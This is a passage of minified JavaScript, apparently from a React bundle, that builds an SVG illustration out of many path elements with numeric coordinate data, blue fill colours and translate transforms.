20.9584375 -21 22 C-21.33 22 -21.66 22 -22 22 C-22 20.35 -22 18.7 -22 17 C-20.68 16.67 -19.36 16.34 -18 16 C-17.896875 15.05125 -17.79375 14.1025 -17.6875 13.125 C-17 10 -17 10 -14 8 C-11.69507614 6.92403982 -9.35039944 5.9756375 -7 5 C-7 4.01 -7 3.02 -7 2 C-2.25 0 -2.25 0 0 0 Z ",fill:"#209AD4",transform:"translate(361,267)"}),(0,a.createElement)("path",{d:"M0 0 C3.03869411 1.51934706 3.64410306 3.98004772 5 7 C5 7.66 5 8.32 5 9 C2.69 9 0.38 9 -2 9 C-2.66 12.96 -3.32 16.92 -4 21 C-0.04 21.33 3.92 21.66 8 22 C8.33 21.01 8.66 20.02 9 19 C9 20.32 9 21.64 9 23 C3.72 23 -1.56 23 -7 23 C-7 15.10218978 -7 15.10218978 -5.125 10.75 C-4.77695312 9.91984375 -4.42890625 9.0896875 -4.0703125 8.234375 C-3 6 -3 6 -1 3 C-0.67 2.01 -0.34 1.02 0 0 Z ",fill:"#2A9AD7",transform:"translate(333,93)"}),(0,a.createElement)("path",{d:"M0 0 C0.99 0.33 1.98 0.66 3 1 C-3.27 7.27 -9.54 13.54 -16 20 C-16.33 19.01 -16.66 18.02 -17 17 C-15.68 16.34 -14.36 15.68 -13 15 C-13 14.01 -13 13.02 -13 12 C-12.34 11.67 -11.68 11.34 -11 11 C-9.82513503 8.37383124 -8.90985138 5.72955415 -8 3 C-7.34 3 -6.68 3 -6 3 C-6 2.34 -6 1.68 -6 1 C-4.7934375 1.0309375 -4.7934375 1.0309375 -3.5625 1.0625 C-1.06645115 1.29633621 -1.06645115 1.29633621 0 0 Z ",fill:"#28A0DB",transform:"translate(305,321)"}),(0,a.createElement)("path",{d:"M0 0 C6.64715847 3.42429376 11.53757408 9.10959779 16 15 C15.67 15.66 15.34 16.32 15 17 C12.16032769 17 9.76264289 16.59732819 7 16 C6.67 13.69 6.34 11.38 6 9 C5.34 9 4.68 9 4 9 C4 8.34 4 7.68 4 7 C3.34 6.67 2.68 6.34 2 6 C1.27306096 4.02111039 0.60183749 2.02045442 0 0 Z ",fill:"#299DDB",transform:"translate(227,54)"}),(0,a.createElement)("path",{d:"M0 0 C3.3 0.33 6.6 0.66 10 1 C10 1.33 10 1.66 10 2 C9.2265625 2.14695312 8.453125 2.29390625 7.65625 2.4453125 C1.18094235 3.83974756 -3.44449393 5.42971942 -8.4765625 9.79296875 C-10 11 -10 11 -12 11 C-12.28617188 11.57234375 -12.57234375 12.1446875 -12.8671875 12.734375 C-15.43359375 17.8671875 -15.43359375 17.8671875 -18 23 C-19.15734151 19.35237882 -18.72086569 17.25616564 -17.09375 13.73828125 C-15.24990659 10.80788726 -12.73675976 9.09624152 -10 7 C-9.34 6.01 -8.68 5.02 -8 4 C-5.0821948 2.57850516 -3.26795703 2 0 2 C0 1.34 0 0.68 0 0 Z ",fill:"#3EA1D0",transform:"translate(154,111)"}),(0,a.createElement)("path",{d:"M0 0 C0.66 0 1.32 0 2 0 C5.17248744 4.09779627 6.40057058 8.91484043 7 14 C6.67 14.66 6.34 15.32 6 16 C6.66 16 7.32 16 8 16 C8.26554687 16.85464844 8.53109375 17.70929688 8.8046875 18.58984375 C9.15789062 19.69457031 9.51109375 20.79929687 9.875 21.9375 C10.22304688 23.03964844 10.57109375 24.14179687 10.9296875 25.27734375 C11.70024295 28.12878804 11.70024295 28.12878804 14 29 C14.75 32.375 14.75 32.375 15 36 C14.34 36.99 13.68 37.98 13 39 C12.81824219 38.35933594 12.63648438 37.71867187 12.44921875 37.05859375 C12.07216797 35.76115234 12.07216797 35.76115234 11.6875 34.4375 C11.44386719 33.59058594 11.20023437 32.74367187 10.94921875 31.87109375 C10.05721877 29.17306911 8.98011409 26.61516108 7.84057617 24.0144043 C6.15374216 19.97197983 4.75301131 15.82257943 3.3125 11.6875 C2.99216797 10.78193359 2.67183594 9.87636719 2.34179688 8.94335938 C2.03951172 8.07904297 1.73722656 7.21472656 1.42578125 6.32421875 C1.15161377 5.54135498 0.87744629 4.75849121 0.5949707 3.9519043 C0 2 0 2 0 0 Z ",fill:"#4EA6D1",transform:"translate(347,80)"}),(0,a.createElement)("path",{d:"M0 0 C1.36539066 2.73078132 0.3927384 4.20297176 -0.46600342 6.99539185 C-1.37242338 10.3980669 -1.58610144 13.83811213 -1.8515625 17.33984375 C-1.91532074 18.10680069 -1.97907898 18.87375763 -2.04476929 19.66395569 C-2.24477378 22.08798598 -2.43504365 24.51266375 -2.625 26.9375 C-2.75977126 28.59184958 -2.89518173 30.24614722 -3.03125 31.90039062 C-3.36155793 35.93303106 -3.68314432 39.96628121 -4 44 C-4.33 44 -4.66 44 -5 44 C-5.07497625 39.76826361 -5.12898541 35.53689412 -5.16479492 31.3046875 C-5.17974586 29.8693975 -5.20011424 28.43415209 -5.22631836 26.99902344 C-5.39663596 17.42116303 -5.50497966 8.25746949 0 0 Z ",fill:"#2693CA",transform:"translate(105,99)"}),(0,a.createElement)("path",{d:"M0 0 C3.6739599 3.37607126 6.05406554 6.39120786 8 11 C8 11.66 8 12.32 8 13 C13.61 13.33 19.22 13.66 25 14 C25.33 11.69 25.66 9.38 26 7 C27.0625 4.5625 27.0625 4.5625 28 3 C28.02687279 4.81242052 28.04633715 6.62495233 28.0625 8.4375 C28.07410156 9.44683594 28.08570313 10.45617187 28.09765625 11.49609375 C28 14 28 14 27 15 C25.5112814 15.08669432 24.018555 15.10703494 22.52734375 15.09765625 C21.62822266 15.09443359 20.72910156 15.09121094 19.80273438 15.08789062 C18.85720703 15.07951172 17.91167969 15.07113281 16.9375 15.0625 C15.98810547 15.05798828 15.03871094 15.05347656 14.06054688 15.04882812 C11.70696935 15.0370011 9.35351523 15.02052025 7 15 C7 14.34 7 13.68 7 13 C6.34 13 5.68 13 5 13 C4.731875 12.2575 4.46375 11.515 4.1875 10.75 C3.13547578 7.99038265 3.13547578 7.99038265 1.375 5.9375 C0 4 0 4 0 0 Z ",fill:"#4C9DC9",transform:"translate(243,71)"}),(0,a.createElement)("path",{d:"M0 0 C0.97582031 0.00902344 1.95164062 0.01804688 2.95703125 0.02734375 C4.06111328 0.04474609 4.06111328 0.04474609 5.1875 0.0625 C4.21655273 1.53271484 4.21655273 1.53271484 2.1875 3.0625 C-0.70115887 3.38202616 -3.38544447 3.52735022 -6.27734375 3.5390625 C-7.10706192 3.55464203 -7.93678009 3.57022156 -8.79164124 3.58627319 C-11.44441764 3.63381148 -14.09693202 3.66154842 -16.75 3.6875 C-19.39931024 3.72404553 -22.04847395 3.76474864 -24.69764709 3.81015015 C-26.34586537 3.83726626 -27.99419 3.85866514 -29.64256287 3.87368774 C-33.19402297 3.92222988 -36.3940032 4.10862658 -39.8125 5.0625 C-39.8125 4.0725 -39.8125 3.0825 -39.8125 2.0625 C-38.53403198 2.02491577 -38.53403198 2.02491577 -37.22973633 1.98657227 C-34.05205034 1.89114431 -30.87451106 1.79192876 -27.69702148 1.69018555 C-26.32467224 1.6470116 -24.95227533 1.60532499 -23.57983398 1.56518555 C-21.60127932 1.50705608 -19.6229003 1.4430429 -17.64453125 1.37890625 C-16.45577393 1.34224854 -15.2670166 1.30559082 -14.04223633 1.26782227 C-9.25824333 0.96369209 -4.82665909 -0.05815252 0 0 Z ",fill:"#2E96CC",transform:"translate(394.8125,168.9375)"}),(0,a.createElement)("path",{d:"M0 0 C2.475 0.99 2.475 0.99 5 2 C5 2.66 5 3.32 5 4 C5.99 4.33 6.98 4.66 8 5 C8 5.66 8 6.32 8 7 C8.66 7 9.32 7 10 7 C10 7.66 10 8.32 10 9 C10.66 9 11.32 9 12 9 C12 9.66 12 10.32 12 11 C12.99 11.33 13.98 11.66 15 12 C15 12.66 15 13.32 15 14 C15.66 14.33 16.32 14.66 17 15 C10.25 19 10.25 19 8 19 C7.67 19.66 7.34 20.32 7 21 C6.01 20.01 5.02 19.02 4 18 C6.31 16.68 8.62 15.36 11 14 C10.67 12.68 10.34 11.36 10 10 C9.34 10 8.68 10 8 10 C6.30859375 8.3203125 6.30859375 8.3203125 4.4375 6.125 C3.50744141 5.04605469 3.50744141 5.04605469 2.55859375 3.9453125 C1 2 1 2 0 0 Z ",fill:"#1F94CE",transform:"translate(255,328)"}),(0,a.createElement)("path",{d:"M0 0 C1.65 0 3.3 0 5 0 C4.01 1.485 4.01 1.485 3 3 C2.68955101 5.96403113 2.48580119 8.85188974 2.3671875 11.82421875 C2.32562531 12.68561966 2.28406311 13.54702057 2.24124146 14.43452454 C2.11051334 17.18519312 1.99260589 19.93624216 1.875 22.6875 C1.78860429 24.55277365 1.70137488 26.41800889 1.61328125 28.28320312 C1.39917842 32.85507925 1.19657169 37.42733792 1 42 C0.67 42 0.34 42 0 42 C0 28.14 0 14.28 0 0 Z ",fill:"#0F93D1",transform:"translate(365,294)"}),(0,a.createElement)("path",{d:"M0 0 C1 2 1 2 0.875 3.9375 C0 6 0 6 -2.5 7.3125 C-3.325 7.869375 -4.15 8.42625 -5 9 C-5.41434251 11.32031805 -5.74889902 13.65639085 -6 16 C-8.0382786 18.95550397 -10.67262636 19.83092278 -14 21 C-13.42655063 18.13275314 -13.1385485 17.1385485 -11 15 C-10.34 14.67 -9.68 14.34 -9 14 C-8.95875 13.154375 -8.9175 12.30875 -8.875 11.4375 C-7.55241008 6.24161102 -3.90419239 3.50399043 0 0 Z ",fill:"#0A95DD",transform:"translate(256,299)"}),(0,a.createElement)("path",{d:"M0 0 C1.85546875 0.015625 1.85546875 0.015625 4.1875 0.25 C4.94417969 0.31703125 5.70085937 0.3840625 6.48046875 0.453125 C9 1 9 1 15 4 C15 13.9 15 23.8 15 34 C14.67 34 14.34 34 14 34 C14 24.76 14 15.52 14 6 C8.06 4.515 8.06 4.515 2 3 C1.01 2.34 0.02 1.68 -1 1 C-0.67 0.67 -0.34 0.34 0 0 Z ",fill:"#459BC9",transform:"translate(295,166)"}),(0,a.createElement)("path",{d:"M0 0 C0.99 0.33 1.98 0.66 3 1 C3 1.66 3 2.32 3 3 C3.66 3 4.32 3 5 3 C5 3.66 5 4.32 5 5 C5.70125 5.268125 6.4025 5.53625 7.125 5.8125 C10.1649824 7.0681449 13.0727774 8.50235123 16 10 C13 12 13 12 10.8125 11.625 C10.214375 11.41875 9.61625 11.2125 9 11 C9 10.34 9 9.68 9 9 C8.01 9.33 7.02 9.66 6 10 C6 9.01 6 8.02 6 7 C5.01 7 4.02 7 3 7 C2.67 7.99 2.34 8.98 2 10 C1.01 10 0.02 10 -1 10 C-0.67 9.01 -0.34 8.02 0 7 C-0.33 6.01 -0.66 5.02 -1 4 C-0.5625 1.8125 -0.5625 1.8125 0 0 Z ",fill:"#0F90D5",transform:"translate(139,392)"}),(0,a.createElement)("path",{d:"M0 0 C0.33 0 0.66 0 1 0 C1.52507251 6.30087009 1.23617707 11.96793512 -3 17 C-6.25 18 -6.25 18 -9 18 C-8.67386719 17.443125 -8.34773438 16.88625 -8.01171875 16.3125 C-5.1464629 11.30886736 -2.93761711 6.42532791 -1 1 C-0.67 0.67 -0.34 0.34 0 0 Z ",fill:"#2F97D0",transform:"translate(352,376)"}),(0,a.createElement)("path",{d:"M0 0 C0.33 0 0.66 0 1 0 C1.12117187 1.00160156 1.24234375 2.00320313 1.3671875 3.03515625 C1.53617151 4.3776403 1.70545858 5.72008623 1.875 7.0625 C1.95363281 7.71927734 2.03226563 8.37605469 2.11328125 9.05273438 C2.68717487 13.5335192 3.66407776 17.68351175 5 22 C2.08482708 20.92598892 0.22189824 20.22189824 -2 18 C-2.66 17.67 -3.32 17.34 -4 17 C-3.67 15.35 -3.34 13.7 -3 12 C-2.01 12 -1.02 12 0 12 C-0.185625 11.505 -0.37125 11.01 -0.5625 10.5 C-1.20139296 6.84918311 -0.54905291 3.66035276 0 0 Z ",fill:"#41A4DC",transform:"translate(133,368)"}),(0,a.createElement)("path",{d:"M0 0 C3.13726477 2.86445914 3.93067869 4.90285689 4.203125 9.21484375 C4.21859375 10.44332031 4.2340625 11.67179688 4.25 12.9375 C4.27578125 14.16339844 4.3015625 15.38929688 4.328125 16.65234375 C3.98411309 20.16208435 3.39191544 21.48848879 1 24 C-0.32915021 16.02509872 -0.08801359 8.05813281 0 0 Z ",fill:"#3AA0D4",transform:"translate(398,239)"}),(0,a.createElement)("path",{d:"M0 0 C1.32 0.33 2.64 0.66 4 1 C4 1.66 4 2.32 4 3 C4.66 3 5.32 3 6 3 C8 6 8 6 8 9 C9.32 9.66 10.64 10.32 12 11 C12 11.99 12 12.98 12 14 C12.99 14.33 13.98 14.66 15 15 C17 17 17 17 17.125 19.625 C17.08375 20.40875 17.0425 21.1925 17 22 C16.01 22 15.02 22 14 22 C13.2575 20.3603125 13.2575 20.3603125 12.5 18.6875 C10.11429843 13.88177023 7.00967406 9.70539417 3.8046875 5.41796875 C2.4847202 3.64944114 1.22411709 1.83617563 0 0 Z ",fill:"#2C96D0",transform:"translate(220,73)"}),(0,a.createElement)("path",{d:"M0 0 C0.66 0.33 1.32 0.66 2 1 C1.75 2.875 1.75 2.875 1 5 C0.39027344 5.30164062 -0.21945312 5.60328125 -0.84765625 5.9140625 C-3.26694582 7.1346841 -4.47329652 8.42004103 -6.1875 10.5 C-6.69667969 11.1084375 -7.20585937 11.716875 -7.73046875 12.34375 C-9.07117638 13.98469533 -9.07117638 13.98469533 -10 16 C-10.66 16 -11.32 16 -12 16 C-12.66 17.98 -13.32 19.96 -14 22 C-14.66 21.67 -15.32 21.34 -16 21 C-14.35 17.7 -12.7 14.4 -11 11 C-10.34 11 -9.68 11 -9 11 C-8.773125 10.443125 -8.54625 9.88625 -8.3125 9.3125 C-6.63575448 6.35823409 -4.45423315 4.33152149 -2 2 C-1.34 1.34 -0.68 0.68 0 0 Z ",fill:"#429DCD",transform:"translate(287,52)"}),(0,a.createElement)("path",{d:"M0 0 C-3.72477869 3.20274531 -7.59905632 5.49975797 -12 7.625 C-12.90492188 8.07359375 -12.90492188 8.07359375 -13.828125 8.53125 C-17.16672368 10.17151805 -20.52597274 11.67092139 -24 13 C-24 11 -24 11 -22.88671875 9.54296875 C-20.38864676 7.50003203 -17.80587474 6.50341253 -14.8125 5.3125 C-13.72582031 4.87550781 -12.63914063 4.43851562 -11.51953125 3.98828125 C-10.68808594 3.66214844 -9.85664063 3.33601563 -9 3 C-9 2.34 -9 1.68 -9 1 C-5.8035914 -0.06546953 -3.34252724 -0.07427838 0 0 Z ",fill:"#40A1D0",transform:"translate(258,362)"}),(0,a.createElement)("path",{d:"M0 0 C2.475 0.99 2.475 0.99 5 2 C-0.55035203 8.78376359 -6.76442027 14.85522968 -13 21 C-13.33 20.01 -13.66 19.02 -14 18 C-12.71034824 16.62437146 -11.37310707 15.29233607 -10 14 C-9.34 14 -8.68 14 -8 14 C-8 13.34 -8 12.68 -8 12 C-7.34 12 -6.68 12 -6 12 C-5.67 11.01 -5.34 10.02 -5 9 C-4.34 9 -3.68 9 -3 9 C-3 8.01 -3 7.02 -3 6 C-1 3.8125 -1 3.8125 1 2 C0.34 1.67 -0.32 1.34 -1 1 C-0.67 0.67 -0.34 0.34 0 0 Z ",fill:"#4CAFD9",transform:"translate(376,246)"}),(0,a.createElement)("path",{d:"M0 0 C0 0.66 0 1.32 0 2 C0.99 2 1.98 2 3 2 C2.67 2.99 2.34 3.98 2 5 C1.360625 4.79375 0.72125 4.5875 0.0625 4.375 C-4.21252658 3.85152736 -7.87345947 4.91217559 -12 6 C-12 6.66 -12 7.32 -12 8 C-15.52948291 9.66670026 -17.28272326 10.13583456 -21 9 C-5.39754098 0 -5.39754098 0 0 0 Z ",fill:"#48A0D0",transform:"translate(144,39)"}),(0,a.createElement)("path",{d:"M0 0 C1.98 0.99 1.98 0.99 4 2 C4 2.66 4 3.32 4 4 C4.59296875 4.2475 5.1859375 4.495 5.796875 4.75 C8.3343262 6.18968863 9.54044102 7.65151493 11.25 10 C11.77078125 10.70125 12.2915625 11.4025 12.828125 12.125 C14 14 14 14 14 16 C13.34 16 12.68 16 12 16 C11.67 14.68 11.34 13.36 11 12 C8.69 11.67 6.38 11.34 4 11 C3 6.25 3 6.25 3 4 C2.34 4 1.68 4 1 4 C0.67 2.68 0.34 1.36 0 0 Z ",fill:"#41A2D6",transform:"translate(414,52)"}),(0,a.createElement)("path",{d:"M0 0 C-3.76208549 3.76208549 -9.36800691 4.10859338 -14.5 4.1953125 C-16.00012638 4.18226792 -17.50019752 4.15879104 -19 4.125 C-20.16208984 4.11146484 -20.16208984 4.11146484 -21.34765625 4.09765625 C-23.23190843 4.07439388 -25.11599832 4.0385364 -27 4 C-27 3.01 -27 2.02 -27 1 C-23.4375865 0.83144992 -19.87505676 0.66549228 -16.3125 0.5 C-15.30509766 0.45230469 -14.29769531 0.40460938 -13.25976562 0.35546875 C-11.79506836 0.28779297 -11.79506836 0.28779297 -10.30078125 0.21875 C-9.40528564 0.17685547 -8.50979004 0.13496094 -7.5871582 0.09179688 C-5.05557612 0.00197194 -2.53292812 -0.01596803 0 0 Z ",fill:"#4AACDD",transform:"translate(337,416)"}),(0,a.createElement)("path",{d:"M0 0 C0.99 0 1.98 0 3 0 C3.433125 1.0725 3.86625 2.145 4.3125 3.25 C6.13039649 7.46435367 6.13039649 7.46435367 9 11 C11.62625139 11.33425735 11.62625139 11.33425735 14 11 C14 13.33333333 14 15.66666667 14 18 C7.58865556 15.18121926 3.48477802 8.89731665 0 3 C0 2.01 0 1.02 0 0 Z ",fill:"#43A1CE",transform:"translate(272,144)"}),(0,a.createElement)("path",{d:"M0 0 C2 1 2 1 3 3 C1.68 3 0.36 3 -1 3 C-1.66 4.32 -2.32 5.64 -3 7 C-3.66 7 -4.32 7 -5 7 C-5.33 7.99 -5.66 8.98 -6 10 C-6.99 10 -7.98 10 -9 10 C-9.33 11.32 -9.66 12.64 -10 14 C-11.32 13.34 -12.64 12.68 -14 12 C-12.41856529 10.56041153 -10.83477221 9.12341355 -9.25 7.6875 C-8.36828125 6.88699219 -7.4865625 6.08648437 -6.578125 5.26171875 C-4.44550672 3.39083089 -2.29812057 1.65915714 0 0 Z ",fill:"#3EA0D8",transform:"translate(121,49)"}),(0,a.createElement)("path",{d:"M0 0 C0.66 1.32 1.32 2.64 2 4 C1.34 4 0.68 4 0 4 C0.33 6.64 0.66 9.28 1 12 C-1 11 -1 11 -4 4 C-10.27 3.67 -16.54 3.34 -23 3 C-23 2.67 -23 2.34 -23 2 C-22.00818726 1.96241577 -22.00818726 1.96241577 -20.99633789 1.92407227 C-18.01817695 1.80846898 -15.0403608 1.68558246 -12.0625 1.5625 C-10.50112305 1.50352539 -10.50112305 1.50352539 -8.90820312 1.44335938 C-7.42416992 1.38051758 -7.42416992 1.38051758 -5.91015625 1.31640625 C-4.53549194 1.26141968 -4.53549194 1.26141968 -3.13305664 1.20532227 C-1.0179272 1.22996136 -1.0179272 1.22996136 0 0 Z ",fill:"#2F8EC2",transform:"translate(347,68)"}),(0,a.createElement)("path",{d:"M0 0 C2.9762955 1.38432349 5.2322221 3.08357832 7.6875 5.25 C5.3125 5.375 5.3125 5.375 2.6875 5.25 C2.0275 4.59 1.3675 3.93 0.6875 3.25 C-1.24151141 2.79025497 -1.24151141 2.79025497 -3.4453125 2.6171875 C-4.65380859 2.49150391 -4.65380859 2.49150391 -5.88671875 2.36328125 C-7.14935547 2.24533203 -7.14935547 2.24533203 -8.4375 2.125 C-9.71173828 1.99544922 -9.71173828 1.99544922 -11.01171875 1.86328125 C-13.11119727 1.65097443 -15.21176242 1.44946397 -17.3125 1.25 C-11.89529898 -1.89547156 -5.9571665 -1.34879241 0 0 Z ",fill:"#46A0D0",transform:"translate(386.3125,187.75)"}),(0,a.createElement)("path",{d:"M0 0 C0.66 0 1.32 0 2 0 C3.99785435 4.1205746 4.17835515 7.45194365 4 12 C0.98672434 10.49336217 0.38943382 7.96833589 -1 5 C-1.33 7.31 -1.66 9.62 -2 12 C-2.66 11.67 -3.32 11.34 -4 11 C-3.71758359 9.53984709 -3.42373386 8.08190207 -3.125 6.625 C-2.96257812 5.81289062 -2.80015625 5.00078125 -2.6328125 4.1640625 C-2 2 -2 2 0 0 Z ",fill:"#3496CC",transform:"translate(334,88)"}),(0,a.createElement)("path",{d:"M0 0 C0.66 0.33 1.32 0.66 2 1 C0.45454854 6.47932789 -2.15543212 11.11429181 -5 16 C-4.34 16.66 -3.68 17.32 -3 18 C-4.32 18 -5.64 18 -7 18 C-6.38851138 13.10809102 -5.20695378 8.42446714 -3 4 C-2.34 3.67 -1.68 3.34 -1 3 C-0.67 2.01 -0.34 1.02 0 0 Z ",fill:"#3B9DD4",transform:"translate(238,344)"}),(0,a.createElement)("path",{d:"M0 0 C0.66 0.99 1.32 1.98 2 3 C1.125 6.6875 1.125 6.6875 0 10 C-0.99 9.67 -1.98 9.34 -3 9 C-3 9.66 -3 10.32 -3 11 C-5.3125 13.1875 -5.3125 13.1875 -8 15 C-8.99 14.67 -9.98 14.34 -11 14 C-10.37351562 13.40832031 -9.74703125 12.81664062 -9.1015625 12.20703125 C-8.28429687 11.41683594 -7.46703125 10.62664062 -6.625 9.8125 C-5.81289063 9.03519531 -5.00078125 8.25789063 -4.1640625 7.45703125 C-2.01140148 5.012945 -0.99367294 3.07383443 0 0 Z ",fill:"#389FD2",transform:"translate(387,252)"}),(0,a.createElement)("path",{d:"M0 0 C0.33 0.66 0.66 1.32 1 2 C2.32 1.67 3.64 1.34 5 1 C5.33 1.66 5.66 2.32 6 3 C5.00390625 5.6015625 5.00390625 5.6015625 3.5625 8.625 C3.08941406 9.62789062 2.61632812 10.63078125 2.12890625 11.6640625 C1.75636719 12.43492188 1.38382812 13.20578125 1 14 C0.67 14 0.34 14 0 14 C-0.144375 12.9275 -0.28875 11.855 -0.4375 10.75 C-0.87348673 7.21662969 -0.87348673 7.21662969 -1.6875 4.75 C-2 3 -2 3 0 0 Z ",fill:"#2E9CD9",transform:"translate(106,85)"}),(0,a.createElement)("path",{d:"M0 0 C0.66 1.32 1.32 2.64 2 4 C1.36191406 4.62648438 0.72382813 5.25296875 0.06640625 5.8984375 C-0.75988281 6.71570313 -1.58617187 7.53296875 -2.4375 8.375 C-3.26121094 9.18710937 -4.08492188 9.99921875 -4.93359375 10.8359375 C-7.03434672 12.82348515 -7.03434672 12.82348515 -8 15 C-8.66 15 -9.32 15 -10 15 C-10.6875 12.6875 -10.6875 12.6875 -11 10 C-9.09265703 7.18917879 -7.20503471 6.70110134 -4 6 C-0.87525373 4.36526484 -0.87525373 4.36526484 -0.3125 1.875 C-0.1578125 0.946875 -0.1578125 0.946875 0 0 Z ",fill:"#2F9CD3",transform:"translate(337,286)"}),(0,a.createElement)("path",{d:"M0 0 C1 3 1 3 1 6 C-1.45222505 8.94267006 -3.09333083 10.73807335 -6.8125 11.8125 C-7.534375 11.874375 -8.25625 11.93625 -9 12 C-8.45015228 8.12488273 -6.72444669 6.40423494 -3.9375 3.75 C-3.20402344 3.04359375 -2.47054688 2.3371875 -1.71484375 1.609375 C-1.14894531 1.07828125 -0.58304687 0.5471875 0 0 Z ",fill:"#45ACDF",transform:"translate(358,196)"}),(0,a.createElement)("path",{d:"M0 0 C2.475 0.99 2.475 0.99 5 2 C4 5 4 5 2.375 6.1875 C-0.80382728 7.27499354 -3.66661533 7.1282071 -7 7 C-7 5.68 -7 4.36 -7 3 C-3.535 2.505 -3.535 2.505 0 2 C0 1.34 0 0.68 0 0 Z ",fill:"#0A90D6",transform:"translate(340,409)"}),(0,a.createElement)("path",{d:"M0 0 C0.99 0.33 1.98 0.66 3 1 C-4.23547401 8 -4.23547401 8 -10 8 C-12.875 7.0625 -12.875 7.0625 -15 6 C-15 4.68 -15 3.36 -15 2 C-14.34 2 -13.68 2 -13 2 C-12.67 3.32 -12.34 4.64 -12 6 C-7.05 4.515 -7.05 4.515 -2 3 C-2 2.34 -2 1.68 -2 1 C-1.34 0.67 -0.68 0.34 0 0 Z ",fill:"#4F9CCC",transform:"translate(326,197)"}),(0,a.createElement)("path",{d:"M0 0 C0.66 0 1.32 0 2 0 C0.82068697 6.75424737 -1.05079812 12.32935115 -5 18 C-5.66 18.33 -6.32 18.66 -7 19 C-6.71872579 17.51882199 -6.42466268 16.04006751 -6.125 14.5625 C-5.96257812 13.73878906 -5.80015625 12.91507813 -5.6328125 12.06640625 C-5.42398437 11.38449219 -5.21515625 10.70257813 -5 10 C-4.34 9.67 -3.68 9.34 -3 9 C-2.2833793 6.68152126 -1.61757973 4.34680297 -1 2 C-0.67 1.34 -0.34 0.68 0 0 Z ",fill:"#49A0D0",transform:"translate(431,134)"}),(0,a.createElement)("path",{d:"M0 0 C2.08379509 3.84700632 3.49686624 7.90054429 5 12 C9.95 12.33 14.9 12.66 20 13 C20.33 12.01 20.66 11.02 21 10 C21 11.32 21 12.64 21 14 C15.06 14 9.12 14 3 14 C-0.09883781 7.80232437 -0.32899731 6.3606147 0 0 Z ",fill:"#57A0CB",transform:"translate(348,130)"}),(0,a.createElement)("path",{d:"M0 0 C-1.44781793 3.44428265 -3.27694609 5.36130962 -6.125 7.75 C-7.21167969 8.67039062 -7.21167969 8.67039062 -8.3203125 9.609375 C-8.87460937 10.06828125 -9.42890625 10.5271875 -10 11 C-11.65 9.68 -13.3 8.36 -15 7 C-13.329375 6.87625 -13.329375 6.87625 -11.625 6.75 C-10.42875 6.5025 -9.2325 6.255 -8 6 C-6.75825204 4.0998823 -6.75825204 4.0998823 -6 2 C-3.83022576 0.6438911 -2.5637264 0 0 0 Z ",fill:"#3EA4D8",transform:"translate(287,341)"}),(0,a.createElement)("path",{d:"M0 0 C0 0.33 0 0.66 0 1 C-0.75619629 1.01981934 -1.51239258 1.03963867 -2.29150391 1.06005859 C-5.73633718 1.15564572 -9.18059201 1.26518891 -12.625 1.375 C-13.81480469 1.4059375 -15.00460938 1.436875 -16.23046875 1.46875 C-17.96103516 1.52675781 -17.96103516 1.52675781 -19.7265625 1.5859375 C-20.78439941 1.6173584 -21.84223633 1.6487793 -22.93212891 1.68115234 C-26.19201999 2.01995688 -28.93757455 2.85610583 -32 4 C-31.67 3.01 -31.34 2.02 -31 1 C-26.77740091 -1.11129955 -21.27413428 -0.44897487 -16.625 -0.625 C-15.47515625 -0.6765625 -14.3253125 -0.728125 -13.140625 -0.78125 C-12.03460938 -0.82507813 -10.92859375 -0.86890625 -9.7890625 -0.9140625 C-8.77537598 -0.9548291 -7.76168945 -0.9955957 -6.71728516 -1.03759766 C-4.27074054 -1.0037461 -2.32566119 -0.71745434 0 0 Z ",fill:"#56545A",transform:"translate(196,176)"}),(0,a.createElement)("path",{d:"M0 0 C0.4125 0.763125 0.825 1.52625 1.25 2.3125 C5.42227915 6.38995462 10.39259432 6.9155489 16 8 C16 8.33 16 8.66 16 9 C11.38 9 6.76 9 2 9 C0 4 0 4 0 0 Z ",fill:"#429BCC",transform:"translate(102,270)"}),(0,a.createElement)("path",{d:"M0 0 C0.33 0 0.66 0 1 0 C2.03998634 8.43232171 2.91380799 15.62928801 -2 23 C-1.85823579 20.29139876 -1.71171784 17.58319248 -1.5625 14.875 C-1.50352539 13.73417969 -1.50352539 13.73417969 -1.44335938 12.5703125 C-1.20490998 8.31490797 -0.79769763 4.19629174 0 0 Z ",fill:"#50ADDB",transform:"translate(401,203)"}),(0,a.createElement)("path",{d:"M0 0 C0.33 0 0.66 0 1 0 C1 3.63 1 7.26 1 11 C0.01 11.33 -0.98 11.66 -2 12 C-2 13.32 -2 14.64 -2 16 C-2.66 16 -3.32 16 -4 16 C-3.6083965 10.04492601 -2.62875405 5.37180176 0 0 Z ",fill:"#2492D0",transform:"translate(122,123)"}),(0,a.createElement)("path",{d:"M0 0 C-5.28 2.97 -10.56 5.94 -16 9 C-16.33 8.01 -16.66 7.02 -17 6 C-16.01 6 -15.02 6 -14 6 C-14 5.34 -14 4.68 -14 4 C-13.195625 3.71125 -12.39125 3.4225 -11.5625 3.125 C-8.8673532 2.26737432 -8.8673532 2.26737432 -8 0 C-4.71272146 -1.24689876 -3.63194861 -0.90798715 0 0 Z ",fill:"#58A8D1",transform:"translate(276,353)"}),(0,a.createElement)("path",{d:"M0 0 C5 5 10 10 15 15 C14.01 15.33 13.02 15.66 12 16 C11.63648438 15.55269531 11.27296875 15.10539063 10.8984375 14.64453125 C8.31952978 11.5432294 5.84105173 8.76282512 2.625 6.3125 C1.325625 5.1678125 1.325625 5.1678125 0 4 C0 2.68 0 1.36 0 0 Z ",fill:"#439BCA",transform:"translate(352,222)"}),(0,a.createElement)("path",{d:"M0 0 C2.64389311 1.12165162 4.15345436 2.76141376 6.0625 4.875 C5.7325 5.865 5.4025 6.855 5.0625 7.875 C3.0825 6.225 1.1025 4.575 -0.9375 2.875 C-2.5875 4.195 -4.2375 5.515 -5.9375 6.875 C-5.625 4.5 -5.625 4.5 -4.9375 1.875 C-1.9375 -0.125 -1.9375 -0.125 0 0 Z ",fill:"#50ACD5",transform:"translate(359.9375,214.125)"}),(0,a.createElement)("path",{d:"M0 0 C1 2 1 2 0.00390625 5.4765625 C-0.46900047 6.86197936 -0.94981644 8.24471547 -1.4375 9.625 C-1.68048828 10.33140625 -1.92347656 11.0378125 -2.17382812 11.765625 C-2.77587205 13.51273287 -3.38708017 15.25667786 -4 17 C-6.1519437 13.77208445 -6.20086443 12.71599191 -6 9 C-5.34 8.67 -4.68 8.34 -4 8 C-3.67 6.845 -3.34 5.69 -3 4.5 C-2.67 3.345 -2.34 2.19 -2 1 C-1.34 0.67 -0.68 0.34 0 0 Z ",fill:"#67B2D8",transform:"translate(307,121)"}),(0,a.createElement)("path",{d:"M0 0 C-0.33 1.32 -0.66 2.64 -1 4 C-1.99 4 -2.98 4 -4 